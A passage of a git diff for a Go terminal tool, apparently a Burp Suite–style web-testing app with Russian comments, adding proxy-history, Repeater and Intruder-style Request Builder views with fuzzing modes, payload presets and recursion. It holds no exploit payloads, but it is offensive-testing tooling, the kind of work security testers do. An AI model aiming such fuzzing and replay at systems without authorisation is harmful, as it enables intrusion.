return projectErrMsg{err}
|
||||
}
|
||||
_ = project.SaveLastPath(path)
|
||||
return projectOpenedMsg{store: store, path: path}
|
||||
}
|
||||
}
|
||||
|
||||
// searchCmd (enter в строке запроса) разбирает мини-язык через
|
||||
// project.ParseQuery и выполняет поиск в открытом проекте.
|
||||
func (m projectModel) searchCmd() tea.Cmd {
|
||||
if m.store == nil {
|
||||
return func() tea.Msg { return projectErrMsg{fmt.Errorf("сначала открой проект (ctrl+o)")} }
|
||||
}
|
||||
q := m.queryInput.Value()
|
||||
store := m.store
|
||||
return func() tea.Msg {
|
||||
filter := project.ParseQuery(q)
|
||||
results, err := store.Search(filter)
|
||||
if err != nil {
|
||||
return projectErrMsg{err}
|
||||
}
|
||||
return projectSearchMsg{results: results}
|
||||
}
|
||||
}
|
||||
|
||||
// cycleColorCmd (клавиша "c" на выбранной записи) переключает цветовую
|
||||
// метку по кругу и сохраняет изменение в БД.
|
||||
func (m projectModel) cycleColorCmd() tea.Cmd {
|
||||
if m.store == nil || m.cursor < 0 || m.cursor >= len(m.results) {
|
||||
return nil
|
||||
}
|
||||
rec := m.results[m.cursor]
|
||||
store := m.store
|
||||
next := project.NextColor(rec.ColorLabel)
|
||||
return func() tea.Msg {
|
||||
if err := store.SetColorLabel(rec.ID, next); err != nil {
|
||||
return projectErrMsg{err}
|
||||
}
|
||||
return projectColorSetMsg{id: rec.ID, color: next}
|
||||
}
|
||||
}
|
||||
|
||||
// deleteCmd (клавиша "d" на выбранной записи) удаляет её из проекта.
|
||||
func (m projectModel) deleteCmd() tea.Cmd {
|
||||
if m.store == nil || m.cursor < 0 || m.cursor >= len(m.results) {
|
||||
return nil
|
||||
}
|
||||
rec := m.results[m.cursor]
|
||||
store := m.store
|
||||
return func() tea.Msg {
|
||||
if err := store.Delete(rec.ID); err != nil {
|
||||
return projectErrMsg{err}
|
||||
}
|
||||
return projectDeletedMsg{id: rec.ID}
|
||||
}
|
||||
}
|
||||
|
||||
func (m projectModel) View() string {
|
||||
focusMark := func(i int) string {
|
||||
if m.focus == i {
|
||||
return "▸ "
|
||||
}
|
||||
return " "
|
||||
}
|
||||
|
||||
openStatus := "нет открытого проекта"
|
||||
if m.store != nil {
|
||||
openStatus = m.path
|
||||
}
|
||||
|
||||
var b strings.Builder
|
||||
b.WriteString(focusMark(0) + fmt.Sprintf("Файл проекта (ctrl+o — открыть/создать) — сейчас: %s\n", openStatus))
|
||||
b.WriteString(m.pathInput.View())
|
||||
b.WriteString("\n\n")
|
||||
|
||||
b.WriteString(focusMark(1) + "Поиск (enter — искать)\n")
|
||||
b.WriteString(m.queryInput.View())
|
||||
b.WriteString("\n\n")
|
||||
|
||||
if m.errMsg != "" {
|
||||
b.WriteString("Ошибка: " + m.errMsg + "\n")
|
||||
}
|
||||
if m.statusMsg != "" {
|
||||
b.WriteString(m.statusMsg + "\n")
|
||||
}
|
||||
b.WriteString(fmt.Sprintf("Найдено: %d\n\n", len(m.results)))
|
||||
|
||||
b.WriteString(focusMark(2) + m.viewport.View())
|
||||
b.WriteString("\n\ntab — фокус · enter — искать/загрузить · s — в Repeater · c — цвет · d — удалить\n")
|
||||
b.WriteString("f1-f12, pgup — вкладки\n")
|
||||
return b.String()
|
||||
}
|
||||
121
internal/tui/proxyview.go
Normal file
121
internal/tui/proxyview.go
Normal file
|
|
@ -0,0 +1,121 @@
|
|||
package tui
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/charmbracelet/bubbles/viewport"
|
||||
tea "github.com/charmbracelet/bubbletea"
|
||||
|
||||
"github.com/r3g1tpr0cs/burterm/internal/proxy"
|
||||
)
|
||||
|
||||
// proxyModel — список перехваченных прокси-транзакций с курсором выбора.
|
||||
// Enter на выбранной строке отправляет её сырой запрос в Request Builder
|
||||
// (через loadEntryMsg, обрабатывается в корневой модели).
|
||||
type proxyModel struct {
|
||||
entries []proxy.Entry
|
||||
cursor int
|
||||
viewport viewport.Model
|
||||
}
|
||||
|
||||
func newProxyView() proxyModel {
|
||||
return proxyModel{viewport: viewport.New(0, 0)}
|
||||
}
|
||||
|
||||
func (m *proxyModel) SetSize(width, height int) {
|
||||
if width < 0 {
|
||||
width = 0
|
||||
}
|
||||
if height < 0 {
|
||||
height = 0
|
||||
}
|
||||
m.viewport.Width = width
|
||||
// 6 строк вокруг viewport, которые View() добавляет сам: "Перехвачено:
|
||||
// N" + пустая строка сверху, пустая строка + две строки подсказки
|
||||
// снизу (футер теперь гарантированно на двух строках, не на одной).
|
||||
vh := height - 6
|
||||
if vh < 3 {
|
||||
vh = 3
|
||||
}
|
||||
m.viewport.Height = vh
|
||||
m.refresh()
|
||||
}
|
||||
|
||||
// AddEntry дописывает новую перехваченную транзакцию в список.
|
||||
func (m *proxyModel) AddEntry(e proxy.Entry) {
|
||||
m.entries = append(m.entries, e)
|
||||
m.refresh()
|
||||
}
|
||||
|
||||
func (m *proxyModel) refresh() {
|
||||
if len(m.entries) == 0 {
|
||||
m.viewport.SetContent("Пока пусто. Направь браузер на прокси-адрес и походи по нужному сайту.")
|
||||
return
|
||||
}
|
||||
|
||||
var b strings.Builder
|
||||
for i, e := range m.entries {
|
||||
marker := " "
|
||||
if i == m.cursor {
|
||||
marker = "▸ "
|
||||
}
|
||||
|
||||
ct := contentTypeLabel(e.Headers)
|
||||
if ct == "" {
|
||||
ct = "-"
|
||||
}
|
||||
|
||||
var status string
|
||||
if e.Err != nil {
|
||||
status = styleErrStatus.Render(fmt.Sprintf("%-4s", "ERR"))
|
||||
} else {
|
||||
status = statusStyle(e.StatusCode).Render(fmt.Sprintf("%-4d", e.StatusCode))
|
||||
}
|
||||
|
||||
b.WriteString(fmt.Sprintf("%s#%-4d %-6s %s %-6s %s\n", marker, e.ID, e.Method, status, ct, e.URL))
|
||||
}
|
||||
m.viewport.SetContent(b.String())
|
||||
}
|
||||
|
||||
func (m proxyModel) Update(msg tea.Msg) (proxyModel, tea.Cmd) {
|
||||
if key, ok := msg.(tea.KeyMsg); ok {
|
||||
switch key.String() {
|
||||
case "up", "k":
|
||||
if m.cursor > 0 {
|
||||
m.cursor--
|
||||
m.refresh()
|
||||
}
|
||||
return m, nil
|
||||
case "down", "j":
|
||||
if m.cursor < len(m.entries)-1 {
|
||||
m.cursor++
|
||||
m.refresh()
|
||||
}
|
||||
return m, nil
|
||||
case "enter":
|
||||
if m.cursor >= 0 && m.cursor < len(m.entries) {
|
||||
entry := m.entries[m.cursor]
|
||||
return m, func() tea.Msg { return loadEntryMsg{entry: entry, target: targetBuilder} }
|
||||
}
|
||||
return m, nil
|
||||
case "s":
|
||||
if m.cursor >= 0 && m.cursor < len(m.entries) {
|
||||
entry := m.entries[m.cursor]
|
||||
return m, func() tea.Msg { return loadEntryMsg{entry: entry, target: targetRepeater} }
|
||||
}
|
||||
return m, nil
|
||||
}
|
||||
}
|
||||
|
||||
var cmd tea.Cmd
|
||||
m.viewport, cmd = m.viewport.Update(msg)
|
||||
return m, cmd
|
||||
}
|
||||
|
||||
func (m proxyModel) View() string {
|
||||
return fmt.Sprintf(
|
||||
"Перехвачено: %d\n\n%s\n\n↑/↓ — выбор · enter — в Request Builder · s — в Repeater\nf1-f12, pgup — вкладки",
|
||||
len(m.entries), m.viewport.View(),
|
||||
)
|
||||
}
|
||||
269
internal/tui/repeater.go
Normal file
269
internal/tui/repeater.go
Normal file
|
|
@ -0,0 +1,269 @@
|
|||
package tui
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/http/httputil"
|
||||
neturl "net/url"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/bubbles/textarea"
|
||||
"github.com/charmbracelet/bubbles/viewport"
|
||||
tea "github.com/charmbracelet/bubbletea"
|
||||
|
||||
"github.com/r3g1tpr0cs/burterm/internal/comparer"
|
||||
"github.com/r3g1tpr0cs/burterm/internal/engine"
|
||||
"github.com/r3g1tpr0cs/burterm/internal/project"
|
||||
)
|
||||
|
||||
// repeaterModel — аналог Burp Repeater: один редактируемый запрос,
|
||||
// который можно поправить и отправить сколько угодно раз подряд,
|
||||
// разглядывая сырой ответ. В отличие от Request Builder, здесь не
|
||||
// нужны §маркеры§ — если они всё же остались после вставки запроса
|
||||
// из Proxy, при отправке они просто схлопываются в пустые значения
|
||||
// (см. sendCmd), а не участвуют в переборе.
|
||||
type repeaterModel struct {
|
||||
request textarea.Model
|
||||
response viewport.Model
|
||||
|
||||
focus int // 0 — запрос, 1 — ответ
|
||||
|
||||
scheme string // "https" | "http" — BuildRequest по умолчанию всегда ставит https
|
||||
insecure bool
|
||||
|
||||
sending bool
|
||||
sentCount int
|
||||
lastDuration time.Duration
|
||||
lastStatus string
|
||||
errMsg string
|
||||
statusMsg string // результат последнего ctrl+p ("сохранено в проект" и т.п.)
|
||||
|
||||
lastSentRaw string // содержимое request на момент последнего ctrl+r — для звёздочки на вкладке и для ctrl+d diff
|
||||
|
||||
// lastResponseRaw/lastStatusCode — последний РЕАЛЬНЫЙ ответ сервера,
|
||||
// отдельно от того, что сейчас показывает m.response.View(): ctrl+d
|
||||
// временно подменяет содержимое viewport на diff, а сохранение
|
||||
// в проект (ctrl+p) должно брать настоящий ответ, а не diff-текст.
|
||||
lastResponseRaw string
|
||||
lastStatusCode int
|
||||
}
|
||||
|
||||
func newRepeater() repeaterModel {
|
||||
ta := textarea.New()
|
||||
ta.Placeholder = "GET /path HTTP/1.1\nHost: example.com\n\n"
|
||||
ta.ShowLineNumbers = true
|
||||
ta.Focus()
|
||||
|
||||
return repeaterModel{
|
||||
request: ta,
|
||||
response: viewport.New(0, 0),
|
||||
scheme: "https",
|
||||
}
|
||||
}
|
||||
|
||||
// SetSize делит доступную высоту пополам между окном запроса и ответа.
|
||||
func (m *repeaterModel) SetSize(width, height int) {
|
||||
if width < 0 {
|
||||
width = 0
|
||||
}
|
||||
if height < 0 {
|
||||
height = 0
|
||||
}
|
||||
reqHeight := height / 2
|
||||
|
||||
m.request.SetWidth(width)
|
||||
m.request.SetHeight(reqHeight)
|
||||
m.response.Width = width
|
||||
// 8 фиксированных строк вокруг response-viewport (построчный подсчёт
|
||||
// по View(): "Запрос"-метка 1, разделитель 1, строка статуса 1,
|
||||
// разделитель+"Ответ"-метка 2, разделитель+футер(две строки) 3 —
|
||||
// итого 8). Раньше стояло -2 — критически недосчитано с самого
|
||||
// начала, безотносительно разбиения футера.
|
||||
m.response.Height = height - reqHeight - 8
|
||||
}
|
||||
|
||||
func (m repeaterModel) Update(msg tea.Msg) (repeaterModel, tea.Cmd) {
|
||||
if key, ok := msg.(tea.KeyMsg); ok {
|
||||
switch key.String() {
|
||||
case "tab":
|
||||
m.focus = (m.focus + 1) % 2
|
||||
if m.focus == 0 {
|
||||
m.request.Focus()
|
||||
} else {
|
||||
m.request.Blur()
|
||||
}
|
||||
return m, nil
|
||||
case "ctrl+h":
|
||||
if m.scheme == "https" {
|
||||
m.scheme = "http"
|
||||
} else {
|
||||
m.scheme = "https"
|
||||
}
|
||||
return m, nil
|
||||
case "ctrl+t":
|
||||
m.insecure = !m.insecure
|
||||
return m, nil
|
||||
case "ctrl+r":
|
||||
m.errMsg = ""
|
||||
m.sending = true
|
||||
m.lastSentRaw = m.request.Value()
|
||||
return m, m.sendCmd()
|
||||
case "ctrl+d":
|
||||
m.showDiff()
|
||||
return m, nil
|
||||
case "ctrl+p":
|
||||
return m, m.saveToProjectCmd()
|
||||
}
|
||||
}
|
||||
|
||||
var cmd tea.Cmd
|
||||
if m.focus == 0 {
|
||||
m.request, cmd = m.request.Update(msg)
|
||||
} else {
|
||||
m.response, cmd = m.response.Update(msg)
|
||||
}
|
||||
return m, cmd
|
||||
}
|
||||
|
||||
// showDiff (ctrl+d) сравнивает текущий черновик с последней реально
|
||||
// отправленной версией через тот же токенный LCS-diff, что и на вкладке
|
||||
// Comparer (renderDiffChunks там же, в comparerview.go — общий пакет tui,
|
||||
// импорт не нужен). Результат временно занимает окно ответа; следующий
|
||||
// реальный ответ (repeaterRespMsg) его естественным образом перезапишет,
|
||||
// поэтому отдельного "режима" держать не нужно.
|
||||
func (m *repeaterModel) showDiff() {
|
||||
if m.lastSentRaw == "" {
|
||||
m.errMsg = "ещё не было ни одной отправки — сравнивать не с чем"
|
||||
return
|
||||
}
|
||||
chunks := comparer.Diff(m.lastSentRaw, m.request.Value())
|
||||
m.response.SetContent("Diff: последняя отправка → текущий черновик ([-удалено-] / [+добавлено+])\n\n" + renderDiffChunks(chunks))
|
||||
m.errMsg = ""
|
||||
}
|
||||
|
||||
// IsModified — черновик отличается от последней реально отправленной
|
||||
// версии? Используется корневой моделью для звёздочки в [f4].
|
||||
func (m repeaterModel) IsModified() bool {
|
||||
return m.request.Value() != m.lastSentRaw
|
||||
}
|
||||
|
||||
// saveToProjectCmd (ctrl+p) сохраняет текущий запрос + последний реальный
|
||||
// ответ в открытый проект. Method/URL достаются переиспользованием того
|
||||
// же ParseMarkers+BuildRequest, что и sendCmd — вместо ручного парсинга
|
||||
// сырого текста запроса с нуля.
|
||||
func (m repeaterModel) saveToProjectCmd() tea.Cmd {
|
||||
raw := m.request.Value()
|
||||
respRaw := m.lastResponseRaw
|
||||
statusCode := m.lastStatusCode
|
||||
|
||||
return func() tea.Msg {
|
||||
method, urlStr := "", ""
|
||||
if clean, points, err := engine.ParseMarkers(raw); err == nil {
|
||||
payloads := make([]string, len(points))
|
||||
if req, err2 := engine.BuildRequest(clean, points, payloads); err2 == nil {
|
||||
method = req.Method
|
||||
urlStr = req.URL.String()
|
||||
}
|
||||
}
|
||||
host := ""
|
||||
if u, err := neturl.Parse(urlStr); err == nil {
|
||||
host = u.Host
|
||||
}
|
||||
|
||||
rec := project.Record{
|
||||
Source: "repeater",
|
||||
Host: host,
|
||||
Method: method,
|
||||
URL: urlStr,
|
||||
Status: statusCode,
|
||||
ContentLength: int64(len(respRaw)),
|
||||
RawRequest: raw,
|
||||
RawResponse: respRaw,
|
||||
}
|
||||
return saveToProjectMsg{origin: viewRepeater, records: []project.Record{rec}}
|
||||
}
|
||||
}
|
||||
|
||||
// sendCmd отправляет запрос как есть, без фаззинга: ParseMarkers +
|
||||
// BuildRequest с пустыми payload'ами переиспользуют тот же парсер сырого
|
||||
// HTTP, что и Intruder-движок, просто без перебора значений.
|
||||
func (m repeaterModel) sendCmd() tea.Cmd {
|
||||
raw := m.request.Value()
|
||||
scheme := m.scheme
|
||||
insecure := m.insecure
|
||||
|
||||
return func() tea.Msg {
|
||||
clean, points, err := engine.ParseMarkers(raw)
|
||||
if err != nil {
|
||||
return repeaterErrMsg{fmt.Errorf("маркеры §...§ (в Repeater не обязательны): %w", err)}
|
||||
}
|
||||
payloads := make([]string, len(points))
|
||||
req, err := engine.BuildRequest(clean, points, payloads)
|
||||
if err != nil {
|
||||
return repeaterErrMsg{err}
|
||||
}
|
||||
req.URL.Scheme = scheme
|
||||
|
||||
client := &http.Client{
|
||||
Timeout: 30 * time.Second,
|
||||
Transport: &http.Transport{
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: insecure},
|
||||
},
|
||||
}
|
||||
|
||||
start := time.Now()
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return repeaterErrMsg{err}
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
dump, err := httputil.DumpResponse(resp, true)
|
||||
if err != nil {
|
||||
return repeaterErrMsg{fmt.Errorf("чтение ответа: %w", err)}
|
||||
}
|
||||
|
||||
return repeaterRespMsg{
|
||||
response: string(dump),
|
||||
status: resp.Status,
|
||||
statusCode: resp.StatusCode,
|
||||
duration: time.Since(start),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m repeaterModel) View() string {
|
||||
focusMark := func(i int) string {
|
||||
if m.focus == i {
|
||||
return "▸ "
|
||||
}
|
||||
return " "
|
||||
}
|
||||
|
||||
status := fmt.Sprintf("Схема: %s (ctrl+h) · Insecure TLS: %v (ctrl+t) · отправлено: %d", m.scheme, m.insecure, m.sentCount)
|
||||
if m.sending {
|
||||
status += " · отправка…"
|
||||
}
|
||||
if m.lastStatus != "" {
|
||||
status += fmt.Sprintf(" · последний ответ: %s за %s", m.lastStatus, m.lastDuration.Round(time.Millisecond))
|
||||
}
|
||||
|
||||
var b strings.Builder
|
||||
b.WriteString(focusMark(0) + "Запрос\n")
|
||||
b.WriteString(m.request.View())
|
||||
b.WriteString("\n\n")
|
||||
b.WriteString(status + "\n")
|
||||
if m.errMsg != "" {
|
||||
b.WriteString("Ошибка: " + m.errMsg + "\n")
|
||||
}
|
||||
if m.statusMsg != "" {
|
||||
b.WriteString(m.statusMsg + "\n")
|
||||
}
|
||||
b.WriteString("\n" + focusMark(1) + "Ответ\n")
|
||||
b.WriteString(m.response.View())
|
||||
b.WriteString("\n\ntab — между окнами · ctrl+r — отправить · ctrl+d — diff · ctrl+p — сохранить в проект\n")
|
||||
b.WriteString("f1-f12, pgup — вкладки\n")
|
||||
return b.String()
|
||||
}
|
||||
441
internal/tui/requestbuilder.go
Normal file
441
internal/tui/requestbuilder.go
Normal file
|
|
@ -0,0 +1,441 @@
|
|||
package tui
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/bubbles/textarea"
|
||||
"github.com/charmbracelet/bubbles/textinput"
|
||||
tea "github.com/charmbracelet/bubbletea"
|
||||
|
||||
"github.com/r3g1tpr0cs/burterm/internal/cli"
|
||||
"github.com/r3g1tpr0cs/burterm/internal/engine"
|
||||
"github.com/r3g1tpr0cs/burterm/internal/payload"
|
||||
)
|
||||
|
||||
// requestBuilderModel — форма ввода: сырой HTTP-запрос с §маркерами§,
|
||||
// режим атаки, спецификации payload'ов (по одной на точку вставки,
|
||||
// в порядке §маркеров§) и параметры движка.
|
||||
type requestBuilderModel struct {
|
||||
textarea textarea.Model
|
||||
|
||||
mode engine.AttackMode
|
||||
|
||||
payloadInputs []textinput.Model
|
||||
|
||||
concurrency textinput.Model
|
||||
rateLimitMs textinput.Model
|
||||
timeoutSec textinput.Model
|
||||
insecure bool
|
||||
scheme string // "https" | "http" — см. комментарий к engine.Config.ForceScheme
|
||||
|
||||
// focusIdx: 0 — textarea, 1..len(payloadInputs) — поля payload'ов,
|
||||
// затем concurrency, rateLimitMs, timeoutSec.
|
||||
focusIdx int
|
||||
errMsg string
|
||||
|
||||
statusMsg string // информационная строка (не ошибка) — напр. что предложила ctrl+n/ctrl+l
|
||||
presetCycleIdx int // текущая позиция обзора заготовок по ctrl+l
|
||||
|
||||
lastSentRaw string // содержимое textarea на момент последнего ctrl+r — для звёздочки "есть несохранённые правки"
|
||||
|
||||
// recursionEnabled — включает авто-рекурсию в найденные директории
|
||||
// (аналог -recursion у ffuf, см. комментарий у recursionMeta в model.go).
|
||||
// Работает только когда в запросе ровно один §маркер§ — при нескольких
|
||||
// точках вставки неясно, по какой из них углубляться, а городить ради
|
||||
// этого отдельный UI-селектор точки не стали ради простоты.
|
||||
recursionEnabled bool
|
||||
}
|
||||
|
||||
// defaultRecursionStatuses/MaxDepth — параметры рекурсии не вынесены
|
||||
// в отдельные поля формы (и так уже 9+ полей на экране) — фиксированные
|
||||
// разумные дефолты, как первое приближение. Статусы совпадают с тем,
|
||||
// что ffuf по умолчанию считает "нашли что-то, стоит углубиться".
|
||||
const (
|
||||
defaultRecursionStatuses = "200,301,302,403"
|
||||
defaultRecursionMaxDepth = 2
|
||||
)
|
||||
|
||||
func newRequestBuilder() requestBuilderModel {
|
||||
ta := textarea.New()
|
||||
ta.Placeholder = "GET /api/user?id=§1§ HTTP/1.1\nHost: example.com\n\n"
|
||||
ta.ShowLineNumbers = true
|
||||
ta.Focus()
|
||||
|
||||
payloadIn := textinput.New()
|
||||
payloadIn.Placeholder = "wordlist:путь | range:1:100:1 | preset:numbers-small | ctrl+n/ctrl+l"
|
||||
payloadIn.CharLimit = 256
|
||||
|
||||
concurrency := textinput.New()
|
||||
concurrency.Placeholder = "10"
|
||||
concurrency.CharLimit = 6
|
||||
|
||||
rateLimit := textinput.New()
|
||||
rateLimit.Placeholder = "0"
|
||||
rateLimit.CharLimit = 8
|
||||
|
||||
timeout := textinput.New()
|
||||
timeout.Placeholder = "10"
|
||||
timeout.CharLimit = 6
|
||||
|
||||
return requestBuilderModel{
|
||||
textarea: ta,
|
||||
mode: engine.ModeSniper,
|
||||
scheme: "https",
|
||||
payloadInputs: []textinput.Model{payloadIn},
|
||||
concurrency: concurrency,
|
||||
rateLimitMs: rateLimit,
|
||||
timeoutSec: timeout,
|
||||
}
|
||||
}
|
||||
|
||||
// totalFocusable — сколько полей можно обойти табом: textarea +
|
||||
// поля payload'ов + concurrency/rateLimit/timeout.
|
||||
func (m *requestBuilderModel) totalFocusable() int {
|
||||
return 1 + len(m.payloadInputs) + 3
|
||||
}
|
||||
|
||||
// applyFocus снимает фокус со всех полей и ставит его на m.focusIdx.
|
||||
// Возвращаемые Focus() команды (мигание курсора) осознанно отбрасываются
|
||||
// ради простоты — не влияет на функциональность, только на анимацию.
|
||||
func (m *requestBuilderModel) applyFocus() {
|
||||
m.textarea.Blur()
|
||||
for i := range m.payloadInputs {
|
||||
m.payloadInputs[i].Blur()
|
||||
}
|
||||
m.concurrency.Blur()
|
||||
m.rateLimitMs.Blur()
|
||||
m.timeoutSec.Blur()
|
||||
|
||||
switch {
|
||||
case m.focusIdx == 0:
|
||||
m.textarea.Focus()
|
||||
case m.focusIdx <= len(m.payloadInputs):
|
||||
m.payloadInputs[m.focusIdx-1].Focus()
|
||||
case m.focusIdx == len(m.payloadInputs)+1:
|
||||
m.concurrency.Focus()
|
||||
case m.focusIdx == len(m.payloadInputs)+2:
|
||||
m.rateLimitMs.Focus()
|
||||
default:
|
||||
m.timeoutSec.Focus()
|
||||
}
|
||||
}
|
||||
|
||||
// IsModified — правки в textarea после последней отправки (ctrl+r) есть?
|
||||
// Используется корневой моделью для звёздочки в названии вкладки [f1].
|
||||
// Сравнение с изначально пустым lastSentRaw тоже корректно: если текст
|
||||
// набран, но ни разу не отправлен, это и есть несохранённые правки.
|
||||
func (m requestBuilderModel) IsModified() bool {
|
||||
return m.textarea.Value() != m.lastSentRaw
|
||||
}
|
||||
|
||||
func modeName(mode engine.AttackMode) string {
|
||||
switch mode {
|
||||
case engine.ModeSniper:
|
||||
return "sniper"
|
||||
case engine.ModeBattering:
|
||||
return "battering"
|
||||
case engine.ModePitchfork:
|
||||
return "pitchfork"
|
||||
case engine.ModeClusterBomb:
|
||||
return "clusterbomb"
|
||||
default:
|
||||
return "?"
|
||||
}
|
||||
}
|
||||
|
||||
func nextMode(mode engine.AttackMode) engine.AttackMode {
|
||||
return (mode + 1) % 4
|
||||
}
|
||||
|
||||
func (m requestBuilderModel) Update(msg tea.Msg) (requestBuilderModel, tea.Cmd) {
|
||||
if key, ok := msg.(tea.KeyMsg); ok {
|
||||
switch key.String() {
|
||||
case "tab":
|
||||
m.focusIdx = (m.focusIdx + 1) % m.totalFocusable()
|
||||
m.applyFocus()
|
||||
return m, nil
|
||||
case "shift+tab":
|
||||
m.focusIdx--
|
||||
if m.focusIdx < 0 {
|
||||
m.focusIdx = m.totalFocusable() - 1
|
||||
}
|
||||
m.applyFocus()
|
||||
return m, nil
|
||||
case "ctrl+g":
|
||||
// смена режима атаки; ctrl+m конфликтует с Enter в некоторых
|
||||
// терминалах, поэтому используем ctrl+g ("go mode")
|
||||
m.mode = nextMode(m.mode)
|
||||
return m, nil
|
||||
case "ctrl+t":
|
||||
m.insecure = !m.insecure
|
||||
return m, nil
|
||||
case "ctrl+h":
|
||||
if m.scheme == "https" {
|
||||
m.scheme = "http"
|
||||
} else {
|
||||
m.scheme = "https"
|
||||
}
|
||||
return m, nil
|
||||
case "ctrl+p":
|
||||
ti := textinput.New()
|
||||
ti.Placeholder = "wordlist:путь | range:1:100:1 | preset:numbers-small | ctrl+n/ctrl+l"
|
||||
ti.CharLimit = 256
|
||||
m.payloadInputs = append(m.payloadInputs, ti)
|
||||
return m, nil
|
||||
case "ctrl+x":
|
||||
if len(m.payloadInputs) > 1 {
|
||||
m.payloadInputs = m.payloadInputs[:len(m.payloadInputs)-1]
|
||||
if m.focusIdx >= m.totalFocusable() {
|
||||
m.focusIdx = m.totalFocusable() - 1
|
||||
}
|
||||
m.applyFocus()
|
||||
}
|
||||
return m, nil
|
||||
case "ctrl+r":
|
||||
m.errMsg = ""
|
||||
m.lastSentRaw = m.textarea.Value()
|
||||
return m, m.runCmd()
|
||||
case "ctrl+n":
|
||||
m.suggestPreset()
|
||||
return m, nil
|
||||
case "ctrl+l":
|
||||
m.cyclePreset()
|
||||
return m, nil
|
||||
case "ctrl+u":
|
||||
m.recursionEnabled = !m.recursionEnabled
|
||||
return m, nil
|
||||
}
|
||||
}
|
||||
|
||||
var cmd tea.Cmd
|
||||
switch {
|
||||
case m.focusIdx == 0:
|
||||
m.textarea, cmd = m.textarea.Update(msg)
|
||||
case m.focusIdx <= len(m.payloadInputs):
|
||||
m.payloadInputs[m.focusIdx-1], cmd = m.payloadInputs[m.focusIdx-1].Update(msg)
|
||||
case m.focusIdx == len(m.payloadInputs)+1:
|
||||
m.concurrency, cmd = m.concurrency.Update(msg)
|
||||
case m.focusIdx == len(m.payloadInputs)+2:
|
||||
m.rateLimitMs, cmd = m.rateLimitMs.Update(msg)
|
||||
default:
|
||||
m.timeoutSec, cmd = m.timeoutSec.Update(msg)
|
||||
}
|
||||
return m, cmd
|
||||
}
|
||||
|
||||
// currentPayloadPoint возвращает индекс точки вставки (0-based),
|
||||
// соответствующей полю payload'а в фокусе, и true — если фокус сейчас
|
||||
// действительно на одном из полей payload'ов (а не на textarea или
|
||||
// concurrency/rateLimit/timeout).
|
||||
func (m *requestBuilderModel) currentPayloadPoint() (int, bool) {
|
||||
if m.focusIdx < 1 || m.focusIdx > len(m.payloadInputs) {
|
||||
return 0, false
|
||||
}
|
||||
return m.focusIdx - 1, true
|
||||
}
|
||||
|
||||
// suggestPreset (ctrl+n) определяет имя параметра рядом с §маркером§,
|
||||
// на который смотрит поле payload'а в фокусе, и подставляет туда лучшую
|
||||
// по эвристике заготовку из payload.SmartSuggest. Остальные варианты
|
||||
// показывает в statusMsg — это подсказка, а не единственно верный ответ,
|
||||
// пользователь всегда может переопределить вручную.
|
||||
func (m *requestBuilderModel) suggestPreset() {
|
||||
point, ok := m.currentPayloadPoint()
|
||||
if !ok {
|
||||
m.statusMsg = "ctrl+n работает, когда в фокусе поле payload'а (не запрос и не параметры движка)"
|
||||
return
|
||||
}
|
||||
|
||||
paramName := engine.DetectParamName(m.textarea.Value(), point)
|
||||
suggestions := payload.SmartSuggest(paramName)
|
||||
if len(suggestions) == 0 {
|
||||
m.statusMsg = "не удалось предложить заготовку для этой точки"
|
||||
return
|
||||
}
|
||||
|
||||
m.payloadInputs[point].SetValue("preset:" + suggestions[0])
|
||||
|
||||
label := paramName
|
||||
if label == "" {
|
||||
label = "(имя параметра не распознано)"
|
||||
}
|
||||
if len(suggestions) > 1 {
|
||||
m.statusMsg = fmt.Sprintf("Подсказка для %q: preset:%s (ещё варианты: %s)", label, suggestions[0], strings.Join(suggestions[1:], ", "))
|
||||
} else {
|
||||
m.statusMsg = fmt.Sprintf("Подсказка для %q: preset:%s", label, suggestions[0])
|
||||
}
|
||||
}
|
||||
|
||||
// cyclePreset (ctrl+l) обходит все встроенные заготовки по кругу,
|
||||
// независимо от контекста — для случаев, когда хочется вручную
|
||||
// пролистать варианты (числа, буквы и т.д.), а не полагаться на
|
||||
// эвристику suggestPreset.
|
||||
func (m *requestBuilderModel) cyclePreset() {
|
||||
point, ok := m.currentPayloadPoint()
|
||||
if !ok {
|
||||
m.statusMsg = "ctrl+l работает, когда в фокусе поле payload'а (не запрос и не параметры движка)"
|
||||
return
|
||||
}
|
||||
|
||||
names := payload.PresetNames()
|
||||
if len(names) == 0 {
|
||||
return
|
||||
}
|
||||
name := names[m.presetCycleIdx%len(names)]
|
||||
m.presetCycleIdx++
|
||||
|
||||
m.payloadInputs[point].SetValue("preset:" + name)
|
||||
m.statusMsg = fmt.Sprintf("%s — %s", name, payload.PresetDescription(name))
|
||||
}
|
||||
|
||||
// runCmd снимает копию всех значений формы (чтобы не держать ссылку на
|
||||
// изменяемую модель внутри замыкания команды), валидирует их и запускает
|
||||
// атаку. Возвращает attackStartedMsg с каналом результатов и cancel'ом,
|
||||
// либо errMsg с человекочитаемой причиной отказа.
|
||||
func (m requestBuilderModel) runCmd() tea.Cmd {
|
||||
raw := m.textarea.Value()
|
||||
mode := m.mode
|
||||
insecure := m.insecure
|
||||
scheme := m.scheme
|
||||
recursionEnabled := m.recursionEnabled
|
||||
|
||||
specs := make([]string, len(m.payloadInputs))
|
||||
for i, ti := range m.payloadInputs {
|
||||
specs[i] = ti.Value()
|
||||
}
|
||||
concurrencyStr := m.concurrency.Value()
|
||||
rateLimitStr := m.rateLimitMs.Value()
|
||||
timeoutStr := m.timeoutSec.Value()
|
||||
|
||||
return func() tea.Msg {
|
||||
clean, points, err := engine.ParseMarkers(raw)
|
||||
if err != nil {
|
||||
return errMsg{fmt.Errorf("маркеры §...§: %w", err)}
|
||||
}
|
||||
if len(points) == 0 {
|
||||
return errMsg{fmt.Errorf("в запросе нет ни одного §маркера§ — нечего фаззить")}
|
||||
}
|
||||
|
||||
gens := make([]payload.Generator, 0, len(specs))
|
||||
for _, spec := range specs {
|
||||
if spec == "" {
|
||||
continue
|
||||
}
|
||||
g, err := cli.ParsePayloadSpec(spec)
|
||||
if err != nil {
|
||||
